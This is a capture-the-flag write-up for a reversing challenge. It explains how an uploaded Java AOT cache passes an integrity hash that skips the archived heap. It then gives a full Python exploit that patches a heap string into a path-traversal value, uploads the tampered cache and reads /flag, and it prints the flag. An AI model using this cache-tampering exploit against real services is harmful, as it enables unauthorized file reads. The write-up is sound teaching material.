Challenge: leftover-leftovers · CTF: GPN CTF 2026 · Category: Reversing · Difficulty: Hard

Summary

A two-stage Java AOT-cache app where the application classes live only inside the AOT cache, not the jar. Stage 1 (OuterServer) lets you upload a replacement cache.aot but only accepts it if a per-class integrity hash matches the original; stage 2 then boots the real app with your cache. The hash covers constant-pool pointers and method bytecode but not the archived heap, so we patch the pre-resolved heap String "images""/../.." (same length) to redirect the image directory and read /flag.

Solution

Step 1: Recover the code and the integrity gap

The app classes (de.kitctf.gpn24.leftovers.*) aren’t in the jar — they’re shipped in cache.aot. Run the app and dump them with the HotSpot Serviceability Agent (relax ptrace_scope first):

1
2
3
sudo sh -c 'echo 0 > /proc/sys/kernel/yama/ptrace_scope'
./my-jdk/bin/java -XX:+UseG1GC -XX:+UseCompressedOops -Xmx3g -XX:AOTCache=cache.aot -jar leftovers2.jar &
printf 'dumpclass de.kitctf.gpn24.leftovers.Server\nquit\n' | ./my-jdk/bin/jhsdb clhsdb --pid <PID>

OuterServer.verifyStuff (also in a cache, dumped the same way) hashes per class: each constant-pool entry’s (tag, rawInt, rawLong) — where rawLong is the raw 8-byte slot, i.e. a pointer for Utf8/String entries — plus each method’s bytecode/name/signature. It does not hash symbol byte content or the archived heap.

The stage-2 app fixes the image dir to the literal "images" and serves folderPath.resolve(sanitize(name)), where sanitize maps [^a-zA-Z0-9_-] → _ (so a product name can’t contain / or .). set-image-dir is disabled.

Step 2: Patch the heap String, not the symbol

Editing the constant-pool "images" Utf8 symbol does nothing — CONSTANT_String literals are pre-resolved into the archived heap as java.lang.String objects. So patch the heap byte[] directly: "images" (6 bytes) → "/../.." (6 bytes, so the array length is unchanged). The dir becomes /../..; a product named flag resolves to /../../flag, which the OS normalizes to /flag. The heap isn’t hashed, so OuterServer accepts the upload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
import sys, time, urllib.request

CACHE, EVIL = "cache.aot", "evil.aot"
HEAP_IMAGES_OFFSET = 0x324eb80      # heap byte[] of the resolved "images" String
URL = sys.argv[1] if len(sys.argv) > 1 else \
    "https://flash-fried-fish-fingers-on-sauced-tapenade-jcck.gpn24.ctf.kitctf.de"

# 1) patch heap "images" -> "/../.." (same length => integrity hash unchanged)
data = bytearray(open(CACHE, "rb").read())
assert data[HEAP_IMAGES_OFFSET:HEAP_IMAGES_OFFSET+6] == b"images"
data[HEAP_IMAGES_OFFSET:HEAP_IMAGES_OFFSET+6] = b"/../.."
open(EVIL, "wb").write(data)

# 2) POST /init to OuterServer (stage 1). On accept it System.exit(0)s (empty reply).
boundary = "----leftovers2"
payload = (f"--{boundary}\r\n"
           'Content-Disposition: form-data; name="cache.aot"; filename="cache.aot"\r\n'
           "Content-Type: application/octet-stream\r\n\r\n").encode() \
          + data + f"\r\n--{boundary}--\r\n".encode()
try:
    urllib.request.urlopen(urllib.request.Request(URL + "/init", data=payload,
        method="POST", headers={"Content-Type": f"multipart/form-data; boundary={boundary}"}),
        timeout=180).read()
except Exception:
    pass                            # empty reply = accepted

time.sleep(10)                      # let stage 2 boot on the same URL

def req(method, path, body=None):
    r = urllib.request.Request(URL + path, data=body.encode() if body else None,
        method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(r, timeout=20).read().decode(errors="replace")

# 3) register product "flag" (no imageUrl => no overwrite), then read it
req("PUT", "/products/flag",
    '{"name":"flag","quantity":1,'
    '"bestBefore":"2030-01-01T00:00:00","notAfter":"2030-01-01T00:00:00"}')
print("FLAG:", req("GET", "/images/flag").strip())

Output:

1
FLAG: GPNCTF{i_hOpE_7he_C4ChE_IS_nevER_PR0v1d3D_bY_lIbRaRiE5}

Flag

1
GPNCTF{i_hOpE_7he_C4ChE_IS_nevER_PR0v1d3D_bY_lIbRaRiE5}